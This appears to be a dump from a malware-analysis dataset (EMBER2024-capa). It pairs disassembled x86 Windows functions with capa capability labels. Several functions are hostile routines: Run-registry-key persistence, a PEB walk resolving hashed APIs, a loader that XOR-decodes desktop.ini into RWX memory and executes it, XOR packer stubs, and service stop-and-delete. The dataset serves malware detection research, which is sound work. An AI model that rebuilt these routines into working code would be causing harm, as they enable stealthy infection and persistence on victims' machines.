joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45c03c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x110], ebx
mov dword [ebp - 4], ebx
mov byte [ebp - 7], cl
mov byte [ebp - 6], dl
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x45c173
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x416500]
call fcn.004043cc
mov dword [ebp - 0xc], eax
xor ecx, ecx
push ebp
push 0x45c148
push dword fs:[ecx]
mov dword fs:[ecx], esp
lea eax, [ebp - 0x10b]
push eax
push 0xff
call sub.kernel32.dll_GetLogicalDriveStringsA
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00405228
jmp 0x45c0c9
lea eax, [ebp - 0x110]
movzx edx, byte [ebp + ebx - 0x10c]
call fcn.00405410
mov edx, dword [ebp - 0x110]
lea eax, [ebp - 4]
call fcn.004054f4
inc ebx
cmp ebx, 0xff
jg 0x45c0db
cmp byte [ebp + ebx - 0x10c], 0
jne 0x45c0a7
inc ebx
mov eax, dword [ebp - 4]
call fcn.004056b8
push eax
call sub.kernel32.dll_GetDriveTypeA
mov edx, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x45c0f8
sub eax, 4
mov eax, dword [eax]
test eax, eax
jle 0x45c12e
cmp edx, 5
sete al
and al, byte [ebp - 5]
cmp al, 1
je 0x45c123
cmp edx, 3
sete al
and al, byte [ebp - 6]
cmp al, 1
je 0x45c123
cmp edx, 4
sete al
and al, byte [ebp - 7]
cmp al, 1
jne 0x45c12e
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [ebp - 4]
call fcn.004054e8
test eax, eax
jne 0x45c09d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45c152
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45c17a
lea eax, [ebp - 0x110]
call fcn.00405228
lea eax, [ebp - 4]
call fcn.00405228
ret

Function at 0x45c80c
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004056a8
mov eax, dword [ebp - 8]
call fcn.004056a8
xor eax, eax
push ebp
push 0x45c935
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
xor eax, eax
push ebp
push 0x45c908
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x421ca8]
call fcn.00421da8
mov dword [ebp - 0x10], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x10]
call fcn.00421e48
xor eax, eax
push ebp
push 0x45c8f7
push dword fs:[eax]
mov dword fs:[eax], esp
mov cl, 1
mov edx, 0x45c950
mov eax, dword [ebp - 0x10]
call fcn.00421eac
test al, al
je 0x45c8d9
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
call fcn.0042239c
test al, al
je 0x45c8c7
lea ecx, [ebp - 0x14]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
call fcn.00422248
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 4]
call fcn.00405650
je 0x45c8d5
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
call fcn.00422218
jmp 0x45c8d5
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
call fcn.00422218
mov byte [ebp - 9], 1
mov eax, dword [ebp - 0x10]
call fcn.00421e18
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45c8fe
mov eax, dword [ebp - 0x10]
call fcn.004043fc
ret
Function at 0x45fa48
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x45fa76
mov eax, ebx
call fcn.004604fc
cmp dword [ebx + 0x40], 0
je 0x45fa6f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x45fae7
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x45fad9
cmp dword [ebx + 8], 0
je 0x45fa98
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x45faaa
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x45fad9
cmp dword [ebx + 8], 0
je 0x45fa8b
cmp eax, 3
je 0x45fabd
dec eax
jne 0x45fa8b
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x45fa8b
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x45fa8b
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x45fb05
cmp dword [ebx + 0x14], 0xcc
je 0x45fb05
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0045fb10
pop ebx
ret

Function at 0x4704f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, edx
xor eax, eax
push ebp
push 0x47061d
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x4705f8
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 8]
mov eax, dword [0x474330]
mov eax, dword [eax]
call fcn.00459018
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.00409b44
push dword [ebp - 4]
push 0x470634
lea edx, [ebp - 0x10]
mov eax, dword [0x474330]
mov eax, dword [eax]
call fcn.00459018
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.00409b78
push dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 3
call fcn.004055bc
mov eax, dword [ebp - 4]
call fcn.00409938
test al, al
je 0x47059c
push 1
push 0x470638
push 0x470638
mov eax, dword [ebp - 4]
call fcn.004056b8
push eax
push 0x47063c
mov eax, ebx
call fcn.00443178
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x4705ee
lea edx, [ebp - 0x14]
mov eax, dword [0x474330]
mov eax, dword [eax]
call fcn.00459018
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 4]
call fcn.00409b44
mov eax, dword [ebp - 4]
test eax, eax
je 0x4705c2
sub eax, 4
mov eax, dword [eax]
cmp eax, 3
jne 0x4705ee
push 1
push 0x470638
push 0x470638
mov eax, dword [ebp - 4]
call fcn.004056b8
push eax
push 0x47063c
mov eax, ebx
call fcn.00443178
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x470602
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x470624
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.0040524c
ret
Function at 0x471814
Capabilities:
Access peb ldr_data

Disassembly:
push esi
push ebx
push edx
sub esi, esi
add esi, 0x30
mov ebx, dword fs:[esi]
push ecx
mov ecx, dword [ebx + 8]
dec ebx
mov edx, dword [ebx + 0xd]
lea esi, [edx]
add esi, 0xc
mov ebx, dword [esi]
push edi
mov esi, dword [ebx + 0x18]
test esi, esi
je 0x47185c
mov edx, ebx
add edx, 0x30
mov edx, dword [edx]
mov edi, dword [edx]
and edi, 0xdf00df
mov edx, dword [edx + 0xb]
add edx, edi
shr edx, 1
sub edx, 0x192299a5
cmp edx, 0
je 0x471862
mov edx, dword [ebx]
lea ebx, [edx]
jmp 0x47182f
call fcn.00471965
call fcn.00471926
push eax
call fcn.0047191b
mov ebx, edi
mov eax, dword [ebx]
add eax, esi
mov ebx, dword [eax + 0xb]
add ebx, ebx
sub ebx, 0xe8c6ca
cmp ebx, 0
jne 0x47188a
jmp 0x47188f
add edi, 4
jmp 0x471872
mov ebx, edx
add ebx, 0x20
mov ebx, dword [ebx]
sub edi, esi
sub edi, ebx
shr edi, 1
mov ebx, dword [edx + 0x24]
add ebx, edi
add ebx, esi
mov edi, dword [ebx]
shl edi, 0x10
shr edi, 0xe
mov ebx, dword [edx + 0x1c]
add ebx, esi
add ebx, edi
mov edi, dword [ebx]
add edi, esi
mov ebx, 0x95000
push esi
mov edx, 0xef000
lea eax, [0x40]
push ecx
add edx, ecx
push ebx
push esp
push eax
push ebx
push edx
call edi
pop ebx
pop ecx
push eax
mov esi, 0xa71c0
lea ebx, [0x10d000]
add esi, ecx
add ebx, ecx
mov edx, 0x2854
call fcn.00471931
lea esi, [0x59ff]
mov edx, 0x1b0a4
mov ebx, 0xef000
add ebx, ecx
lea edi, [0x18]
imul esi, edi
add esi, 0x4fd8
add esi, ecx
call fcn.00471931
jmp 0x47196b
nop
ret
lea edx, [0x1c8]
mov esi, 0x10000000
lea ebx, [0xef000]
add ebx, ecx
mov edi, 8
imul edx, edi
add edx, 0x1c0
sub ebx, edx
lea edx, [ebx]
sub edx, esi
lea esi, [0xa9fc0]
add esi, ecx
mov edi, dword [esi]
xor edi, 0x4836b7df
dec edi
test edi, edi
je 0x4719b4
add edi, ebx
mov eax, dword [edi]
add eax, edx
mov dword [edi], eax
add esi, 4
jmp 0x47199a
lea ebx, [0x538c]
lea esi, [0x16ce]
add esi, ecx
add esi, 0xed541
add esi, ebx
push esi
lea edx, [edi]
test edi, edi
jmp 0x471955

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x402000
Capabilities:
Terminate process

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0
push 0x402022
push 0
push 0x25
push eax
call dword [sym.imp.user32.dll_DialogBoxParamA]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x55a370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x55a38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x583074
push ecx
mov edi, eax
call fcn.0056e198
mov esi, eax
add esp, 8
test esi, esi
jne 0x55a3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0056e02e
push esi
call fcn.0056dfb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x55d850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x55d8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x588720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x55d8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.0056e1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x55d8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x588720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x55d92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.0056f082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x55d957
mov word [eax], si
add eax, 2
push eax
call fcn.0056f030
add esp, 4
jmp 0x55d959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x55d8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x55d8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x55dff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x55e080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x55e0c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x583458
push ecx
call fcn.0056e1e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.0056e1e1
add esp, 0x10
jmp 0x55e0d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.0056e20b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.0056ddff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.0055e050
mov eax, dword [0x588728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x55e13b
push esi
call fcn.0055dfb0
add esp, 4
mov dword [0x588728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x55e14c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.0055dff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x561440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x5614b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x56148e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x561471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x56147e
add edx, ecx
cmp ebx, edx
jb 0x56148a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x561467
xor ecx, ecx
jmp 0x5614a2
test eax, eax
jne 0x561492
xor ecx, ecx
jmp 0x5614a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.005613c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x5618f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x561921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0x561946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x56196e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0x561993
push ecx
push esi
call fcn.005614c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret
Function at 0x562c00
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
xor ecx, ecx
mov cx, word [eax + 0x14]
xor esi, esi
mov si, word [eax + 6]
push edi
xor edi, edi
lea ecx, [ecx + eax + 0x18]
test esi, esi
jbe 0x562c4a
mov ebx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
test eax, eax
jne 0x562c2b
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp ebx, edx
jb 0x562c38
add edx, eax
cmp ebx, edx
jb 0x562c46
inc edi
add ecx, 0x28
cmp edi, esi
jb 0x562c21
pop edi
pop esi
xor eax, eax
pop ebx
ret
test ecx, ecx
jne 0x562c50
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x18]
sub eax, esi
add eax, ebx
pop edi
pop esi
add eax, ecx
pop ebx
ret

Function at 0x562c70
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x562cb0
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x562c9b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x562ca8
add edx, ecx
cmp ebx, edx
jb 0x562cb2
inc edi
add eax, 0x28
cmp edi, esi
jb 0x562c91
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x562f60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.0056f145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x562ffb
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x562fdd
lea eax, [esp + 0x18]
push eax
jmp 0x562fe2
push 0x588720
call fcn.0056efd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x562fb0
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x562f40
push 4
push ecx
push eax
call fcn.0056f43f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0x563310
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.0056f145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x5633ab
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x56338d
lea eax, [esp + 0x18]
push eax
jmp 0x563392
push 0x588720
call fcn.0056efd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x563360
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x562f40
push 4
push ecx
push eax
call fcn.0056f43f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0x564f20
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ecx
push ebp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
test ebp, ebp
mov dword [esp + 4], ebp
je 0x564fd7
mov eax, dword [esp + 0xc]
push esi
push 0xf01ff
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x564fcf
push ebx
push edi
push 0x588770
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x564fae
push 0x3e8
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push 0x588770
push esi
call ebx
test eax, eax
je 0x564fae
mov ebp, 3
cmp dword [0x588774], ebp
jne 0x564faa
push 0x3e8
call edi
push 0x588770
push esi
call ebx
test eax, eax
jne 0x564f8f
mov ebp, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call ebx
test eax, eax
jne 0x564fc6
push 0x64
call edi
push esi
call ebx
test eax, eax
je 0x564fbb
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
pop ecx
ret
Function at 0x568e00
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x57e8f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
mov ecx, dword [esp + 0x1c]
push esi
mov esi, dword [esp + 0x24]
lea eax, [esp + 4]
push edi
xor edi, edi
push eax
push 0x20019
push edi
push esi
push ecx
mov dword [esp + 0x1c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, edi
je 0x568ed2
lea edx, [esp + 0x24]
push eax
push edx
call fcn.005657a0
add esp, 8
mov eax, dword [esp + 0x24]
mov dword [esp + 0x1c], edi
cmp eax, edi
je 0x568e61
mov edx, dword [eax]
jmp 0x568e63
xor edx, edx
xor ecx, ecx
push edi
xor eax, eax
push edx
push ecx
mov ecx, dword [esp + 0x38]
push eax
lea eax, [esp + 0x1c]
mov edx, dword [ecx + 4]
push eax
push esi
push 2
push edx
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
call fcn.00567050
mov eax, dword [esp + 0x44]
add esp, 0x20
cmp eax, edi
mov dword [esp + 0x1c], 0xffffffff
je 0x568ebf
mov esi, eax
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x568ebf
cmp esi, edi
je 0x568ebf
mov ecx, esi
call fcn.00560a00
push esi
call fcn.0056e1c8
add esp, 4
pop edi
xor al, al
pop esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
push edi
lea eax, [esp + 0x2c]
push edi
push eax
call fcn.00565990
add esp, 0xc
mov eax, dword [esp + 0x28]
mov dword [esp + 0x1c], 1
cmp eax, edi
je 0x568ef5
mov eax, dword [eax]
jmp 0x568ef7
xor eax, eax
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x2c]
push ebx
push esi
push eax
push ecx
push edx
call fcn.00564640
add esp, 0x10
mov bl, al
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x2c]
cmp eax, edi
je 0x568f25
mov eax, dword [eax]
jmp 0x568f27
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [esp + 0x2c]
mov dword [esp + 0x20], 0xffffffff
cmp esi, edi
je 0x568f76
lea ecx, [esi + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x568f76
cmp esi, edi
je 0x568f76
mov eax, dword [esi]
cmp eax, edi
je 0x568f5d
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 4]
cmp eax, edi
je 0x568f6d
push eax
call fcn.0056e1c8
add esp, 4
push esi
call fcn.0056e1c8
add esp, 4
mov ecx, dword [esp + 0x18]
mov al, bl
pop ebx
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x18
ret